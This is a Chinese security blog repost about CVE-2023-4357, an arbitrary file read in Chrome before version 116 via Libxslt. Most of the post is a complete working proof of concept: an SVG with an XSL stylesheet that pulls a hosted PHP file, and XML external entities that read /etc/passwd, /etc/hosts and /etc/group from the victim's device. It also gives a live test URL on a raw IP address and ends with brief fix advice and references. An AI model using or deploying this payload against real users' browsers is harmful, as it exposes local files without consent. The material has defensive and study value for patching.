Chrome<116 任意文件读取,几乎通杀!!!
2023-11-18 09:13:41 Author: 利刃信安攻防实验室(查看原文) 阅读量:133 收藏

本文转载自公共号 刨洞之眼

前言

今年6月份有开发者向 chromium 官方提交了一个任意文件读取漏洞,如果 chrome 使用 -no-sandbox 启动,则可以读取本机任意文件,如果是默认沙箱环境,攻击者可以在 ios (safari/chrome)mac (safari/chrome)android (chrome) 和 samsung tv(默认浏览器)上读取 /etc/hosts/etc/passwd 文件

测试

根据官方公布的 POC,是通过 chromium 中使用的默认 xsl 库 Libxslt 中的 document() 方法读取任意文件

简短描述:Libxslt 是在基于 WebKit 的浏览器(如 chromesafari 等)中默认使用的 XSL 库。Libxslt 允许 XSL document() 方法加载的文档内部存在外部实体。攻击者可以绕过安全限制,从 http(s):// 网址访问 file:// 网址并获取文件访问权限。

开发者提供了一个示例 POC,测试通过微信、抖音之类的 app 直接访问下面的 url 即可触发读取本机的 passwd 文件和 hosts 文件

老外给出的测试 URL

http://188.68.220.248/js.svg

IOS 微信:

实测微信最新版可以读取到文件内容,据传好像不支持数据外传,我也没测试

POC

SVG 图片,托管在服务器上的某个位置:

<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="#"?>

<xsl:stylesheet id="color-change" version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">

 <xsl:template match="/">
 <svg version="1.1" id="Capa_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" viewBox="0 0 1000 1000">
  <foreignObject id="myObj" width="1000" height="1000">
      <div style="font-size:xxx-large" xmlns="http://www.w3.org/1999/xhtml">
   <a href="#">#Copy me#</a><br/>
   XSL: <xsl:value-of select="system-property('xsl:version')"/><br/>
   Vendor: <xsl:value-of select="system-property('xsl:vendor')"/><br/>
   Vendor URL: <xsl:value-of select="system-property('xsl:vendor-url')"/><br/>
   document() <xsl:copy-of  select="document('http://host/xsl2.php')"/>
      </div>
  </foreignObject>
 </svg>
 </xsl:template>
</xsl:stylesheet>

主文件(test.svg):

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE p [
<!ENTITY passwd SYSTEM "file:///etc/passwd">
<!ENTITY hosts SYSTEM "file:///etc/hosts">
<!ENTITY group SYSTEM "file://localhost/etc/group">
]>
 

加载 http://host/xsl2.php 的内容(PHP 文件仅用于响应最后一行的 "Cross-Origin-Resource-Sharing: *" HTTP 标头):

<p>
  <p style="border-style: dotted;">/etc/passwd: 
&passwd;
  </p>
 <p style="border-style: dotted;">/etc/hosts:
&hosts;
  </p>
 <p style="border-style: dotted;">/etc/group:
&group;
  </p>
</p>
<?php header("Access-Control-Allow-Origin: *");?>

修复建议

改进沙盒,拒绝对指定文件的读取访问。禁止外部实体使用 file://path 和 \\path URLs

参考链接

https://bugs.chromium.org/p/chromium/issues/detail?id=1458911https://avd.aliyun.com/detail?id=AVD-2023-4357https://chromereleases.googleblog.com/2023/08/stable-channel-update-for-deskthttps://crbug.com/1458911 https://lists.fedoraproject.org/archives/list/package-anno[email protected]... https://lists.fedoraproject.org/archives/list/package[email protected]... https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-4357 https://www.debian.org/security/2023/dsa-5479

文章来源: http://mp.weixin.qq.com/s?__biz=MzU1Mjk3MDY1OA==&mid=2247508022&idx=2&sn=6f221fcc04651459930879044a568f91&chksm=fbfb10fbcc8c99ed01f818b25a221ad3b553d0835e402e7b91f811ab124ee061af3764ec9ef8&scene=0&xtrack=1#rd
如有侵权请联系:admin#unsafe.sh